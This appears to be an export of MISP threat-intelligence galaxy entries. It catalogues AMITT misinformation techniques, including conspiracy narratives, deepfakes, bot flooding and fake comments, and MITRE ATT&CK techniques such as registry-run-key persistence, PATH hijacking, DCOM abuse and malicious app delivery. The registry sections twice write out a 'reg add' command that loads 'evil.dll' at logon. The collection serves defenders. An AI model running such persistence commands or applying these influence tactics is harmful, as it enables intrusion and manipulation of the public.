The tag is: *misp-galaxy:amitt-misinformation-pattern="Memes"*

*Table 2099. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md</a>

## Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

The tag is: *misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"*

*Table 2100. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md</a>

## Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: *misp-galaxy:amitt-misinformation-pattern="Distort facts"*

Table 2101. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md</a>

## Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshopped shark on flooded streets of Houston TX.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"*

Table 2102. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md</a>

## Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged "letter" created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leak altered documents"*

Table 2103. Table References

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md</a>

## Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake research"*

Table 2104. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0026.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md)

## Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangeable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"*

Table 2105. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0027.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md)

## Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the ""firehose of misinformation"" approach."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create competing narratives"*

## Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transparency reports. (Example 20190 Singapore

Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore's security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md</a>

## Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"*

<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md</a>

## Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi's death.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Flooding"*

*Table 2127. Table References*

Links
<a href="https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md">https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md</a>

## Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"*

Table 2128. Table References

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0050.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md)

## Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"*

Table 2129. Table References

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0051.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md)

## Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites include Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"*

Table 2130. Table References

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0052.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md)

## Twitter trolls amplify and manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it's easier to amplify existing content than create

new/original content. Trolls operate where ever there's a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"*

*Table 2131. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0053.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md)

## Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"*

*Table 2132. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0054.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md)

## Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use hashtag"*

*Table 2133. Table References*

Links

[https://github.com/misinfosecproject/amitt\\_framework/blob/master/techniques/T0055.md](https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md)

## Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"*

## Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and activities into the public space. (Example) Mueller's report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: *misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"*

# Test ability to evade automated mobile application security analysis performed by app stores - T1393

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](<http://attack.mitre.org/matrices/enterprise/pre/>) matrix for its replacement. The prior content of this page has been preserved [here](<https://attack.mitre.org/versions/v7/techniques/T1393>).

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

## Linux and Mac File and Directory Permissions Modification - T1222.002

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform's permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: `chown` (short for change owner), and `chmod` (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash\_profile and .bashrc](<https://attack.mitre.org/techniques/T1546/004>) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

## Abuse of iOS Enterprise App Signing Key - T1445

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.

Platforms: iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"*

Abuse of iOS Enterprise App Signing Key - T1445 has relationships with:

## Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.

App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

- [Download New Code at Runtime](<https://attack.mitre.org/techniques/T1407>)
- [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1406>)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account.

(Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

## Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001"*

## Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the possession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002"*

## Registry Run Keys / Startup Folder - T1547.001

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. The startup folder path for all users is `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`.

The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The

`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.].dll"` (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`

The following Registry keys can control automatic startup of services during boot:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices`

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` and `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` subkeys can automatically launch programs.

Programs listed in the load value of the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows` run when any user logs on.

By default, the multistring `BootExecute` value of the registry key `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` is set to `autocheck autochk *`. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](<https://attack.mitre.org/techniques/T1036>) to make the Registry entries look as if they are associated with legitimate programs.

## Compromise Software Dependencies and Development Tools - T1195.001

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001"*

# Windows File and Directory Permissions Modification - T1222.001

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLS).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLS identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLS using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) provides cmdlets that can be used to retrieve or modify file and directory DACLS. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), [Boot or Logon Initialization Scripts](<https://attack.mitre.org/techniques/T1037>), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

## Path Interception by PATH Environment Variable - T1574.007

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named net.exe and placed in `C:\example path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"*

## Path Interception by Search Order Hijacking - T1574.008

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an

executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `<code>net user</code>`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `<code>cmd.exe /C net user</code>` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>).

## Registry Run Keys / Startup Folder - T1060

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems: \*

- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>` \*
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>` \*
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>` \*
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>` \*

The `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code>` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `<code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code>` (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: \*

```

<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folders</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders</code> *
<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders</code> *
<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders</code>

```

The following Registry keys can control automatic startup of services during boot: \*

```

<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

```

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: \*

```

<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
n</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
</code>

```

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and

<code>HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY\_CURRENT\_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring BootExecute value of the registry key <code>HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk \*. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](<https://attack.mitre.org/techniques/T1036>) to make the Registry entries look as if they are associated with legitimate programs.

## Component Object Model and Distributed COM - T1175

**This technique has been deprecated. Please use [Distributed Component Object Model](<https://attack.mitre.org/techniques/T1021/003>) and [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>).**

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](<https://attack.mitre.org/techniques/T1173>) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

## Modify OS Kernel or Boot Partition - T1398

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"*

## Exploit via Charging Station or PC - T1458

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).

Previous demonstrations have included:

- Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
- Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).
- Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).

Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).

## Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

- [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](<https://attack.mitre.org/techniques/T1192>) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
